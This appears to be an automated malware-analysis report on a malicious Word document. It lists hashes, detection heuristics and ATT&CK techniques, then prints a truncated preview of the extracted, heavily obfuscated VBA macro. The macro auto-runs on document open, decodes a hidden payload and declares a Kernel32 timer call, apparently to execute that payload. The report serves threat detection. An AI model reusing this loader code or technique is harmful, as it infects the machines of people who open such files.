Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a797ec7bad4b38d4…

MALICIOUS

Office (OLE)

334.9 KB Created: 2017-11-22 14:53:00 Authoring application: Microsoft Office Word First seen: 2017-12-08
MD5: aaa2455a947381de5754b49f73718d8d SHA-1: 56f65928fcf3c6e9247007f7063df17745660216 SHA-256: a797ec7bad4b38d46c5173f9461a429667af9c6d48f0c4449d46dd954556220a
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1027 Obfuscated Files or Information

The sample is an Office document containing VBA macros, specifically a Document_Open macro that utilizes GetObject, indicating an attempt to execute code upon opening. The VBA code is heavily obfuscated, suggesting an effort to hide malicious activity such as downloading and executing a second-stage payload. The presence of an embedded URL, though currently of unknown reputation, is a potential indicator of compromise.

Heuristics 5

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.eastoftheweb.com/short-stories/UBooks/JereMagi942.shtml In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10816 bytes
SHA-256: 34e0862698f96ab89445ad5d10bf498d940412f6df28e95e972f5fc7068d9f13
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function biradial(articulately) As String
Dim allantoic(6962) As Byte
Dim baroque As Long
Dim chimakum As Long
Dim despumate() As Byte
Dim beanfeast As Long
Dim harem(63) As Long
Dim barbecue As Long
Dim atelier(63) As Long
Dim illdigested(63) As Long
seeing = 39 - 80 + 65321
aneurysmal = 9 - 112 + 65639
bumper = 7 - 40 + 4129
ectoderm = 45 - 27 + 16711662
Dim capella() As Byte
capella = VBA.StrConv(articulately, 128)
cooks = 5 + 32
Pmt 0, cooks, 7585, 47529, 8
copaiba = 7840 + 3
finem = vbKeyShift - 12
For unauthoritative = (1 - 1) To copaiba * 1
If unauthoritative Mod (6 - 4) = (3 - 3) Then
capella(unauthoritative) = capella(unauthoritative) - finem
Else
capella(unauthoritative) = capella(unauthoritative) - (finem - 1)
End If
Next unauthoritative
sympathectomy = 11 + 51
Pmt 0, sympathectomy, 25280, 57587, 6
uncertain = 107 - 100 - 7
prionace = 80 - 3 - 34
archegenesis = abolishment
For beanfeast = (16 - 8 * 2) * 1 To (80 / 2 + 23) * (7 - 6)
harem(beanfeast) = plebiscitum(beanfeast, (4 - 94 + 154), 30 + 5)
atelier(beanfeast) = plebiscitum(beanfeast, bumper, 30 + 5)
illdigested(beanfeast) = plebiscitum(beanfeast, (120 - 41 + 262065), 30 + 5)
Next beanfeast
breastfed = 39 + 9
Pmt 0, breastfed, 36651, 54834, 2
despumate = capella
grampositive = 18 + 59
Pmt 0, grampositive, 12329, 36386, 3
northwestward = 122 - 24 - 95
enfranchised = 36 - 122 + 88
For barbecue = 0 To copaiba
clay = despumate(barbecue)
belay = despumate(barbecue + 2)
baggala = atelier(archegenesis(despumate(barbecue + 1)))
cupronickel = harem(archegenesis(belay)) + _
archegenesis(despumate(barbecue + northwestward))
baroque = illdigested(archegenesis(clay)) + baggala + cupronickel
beanfeast = plebiscitum(baroque, ectoderm, 20 + 7)
allantoic(chimakum) = plebiscitum(beanfeast, aneurysmal, 10 + 7)
beanfeast = plebiscitum(baroque, seeing, 20 + 7)
allantoic(chimakum + 1) = plebiscitum(beanfeast, (15 - 23 + 264), 10 + 7)
allantoic(chimakum + enfranchised) = plebiscitum(baroque, (1 - 79 + 333), 20 + 7)
chimakum = chimakum + enfranchised + 1
barbecue = barbecue + 3
Next
biradial = allantoic
End Function

Function braze()
unwelcome.hallucinogen.Value = Day(#12/5/2013#)
Set aerobiotic = unwelcome.hallucinogen.SelectedItem
symmetry = 51 + 44
Pmt 0, symmetry, 19244, 48842, 8
whim = aerobiotic.Name
justly = 50 - 49 + 7843
crenulate = Right(whim, justly)
hipless = biradial(crenulate)
footwear = 40 + 48
Pmt 0, footwear, 13324, 17438, 6
#If (14 * 4 + 6) > (9 - 4 * 2) And (99 - 11 * 9) * 30 < (Win64) Then
Dim upbow As LongPtr
Dim seedtime As LongPtr
Dim ploy As LongPtr
Dim fumble As LongPtr
Dim pattern As LongPtr
ramshead = 118 - 128 + 2074
#End If
#If (14 * 4 + 6) > (9 - 4 * 2) And Not (99 - 11 * 9) * 30 < (Win64) Then
Dim seedtime As Long
Dim upbow As Long
Dim ploy As Long
Dim fumble As Long
Dim pattern As Long
ramshead = (14 - 25 + 792) + 3459
#End If
adaptability = 21 + 13
Pmt 0, adaptability, 2073, 45246, 2
melicoccus = 20 + 37
Pmt 0, melicoccus, 29396, 52316, 4
antibacterial = hipless
upbow = morder.malabo(antibacterial)
ploy = 102 - 7 - 95
seedtime = upbow + ramshead
fumble = 63 - 108 + 201572
pattern = 71 - 80 + 3509
balaenicipitidae = decapitate(fumble, _
ploy, seedtime, _
ploy, ploy, ploy, _
ploy)
bonnet = 59 + 1
Pmt 0, bonnet, 13549, 52182, 5
End Function
Private Sub Document_Open()
remissness = "mate"
braze
canaliculated = 9 + 19
Pmt 0, canaliculated, 36418, 18210, 5
End Sub

Attribute VB_Name = "soave"

'  Es ist kalt und regungslos
#If (13 * 3 + 5) > (8 - 3 * 1) And Not (88 - 11 * 8) * 30 < (Win64) Then
'  Die Nacht A¶ffnet ihren SchoAY
'  Ich weiAY nicht wie du heiAYt
Public Declare Function decapitate _
Lib "Kernel32" Alias _
"CreateTimerQueueTimer" (etiolate As
... (truncated)

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